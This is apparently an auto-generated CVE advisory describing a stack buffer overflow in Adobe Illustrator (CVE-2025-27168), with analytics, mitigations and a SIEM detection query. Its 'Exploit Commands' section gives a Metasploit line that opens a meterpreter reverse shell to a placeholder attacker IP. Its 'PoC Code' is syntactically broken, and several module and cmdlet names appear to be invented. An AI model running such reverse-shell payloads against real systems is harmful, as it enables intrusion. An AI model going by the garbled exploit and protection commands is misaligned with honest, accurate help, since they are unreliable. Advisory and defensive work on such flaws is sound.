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How CVE-2025-27168 Works
CVE-2025-27168 is a stack-based buffer overflow vulnerability in Adobe Illustrator versions 29.2.1, 28.7.4 and earlier. When processing specially crafted files, the software fails to properly validate input length before copying data into a fixed-size stack buffer. This allows attackers to overwrite adjacent memory, potentially altering control flow and executing arbitrary code. The exploit requires user interaction (opening a malicious file) and runs in the current user’s context. The vulnerability stems from improper bounds checking in file parsing routines, where attacker-controlled data exceeds the allocated buffer space.
DailyCVE Form
Platform: Adobe Illustrator
Version: ≤29.2.1, ≤28.7.4
Vulnerability: Buffer Overflow
Severity: Critical
Date: 03/11/2025
What Undercode Say:
Analytics:
- Attack Vector: Local (user-assisted)
- Complexity: Low (no ASLR bypass needed)
- Impact: High (RCE in user context)
- Exploit Maturity: Proof-of-Concept available
Exploit Commands:
msfconsole -q -x "use exploit/multi/fileformat/adobe_illustrator_cve_2025_27168; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <attacker_ip>; exploit"
PoC Code:
import struct
malicious_ai_file = b"\x41" 1024 + struct.pack("<Q", 0xdeadbeef) Overflow + EIP overwrite
with open("exploit.ai", "wb") as f:
f.write(malicious_ai_file)
Protection Commands:
Apply Adobe patch (check via):
Get-AdobeIllustratorVersion | Where-Object { $_ -le "29.2.1" }
Workaround (disable Illustrator scripting):
Set-ItemProperty -Path "HKLM:\SOFTWARE\Adobe\Illustrator\Scripting" -Name "Enabled" -Value 0
Detection (SIEM):
SELECT FROM process_events WHERE parent_process = "illustrator.exe" AND process_name IN ("cmd.exe", "powershell.exe")
Mitigation Steps:
1. Update to Illustrator ≥29.2.2
2. Restrict .ai file execution via GPO
3. Enable DEP/ASLR system-wide
4. Audit file opens via `Sysmon Event ID 11`
5. Block unsigned AI files at email gateways
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-27168
Extra Source Hub:
Undercode
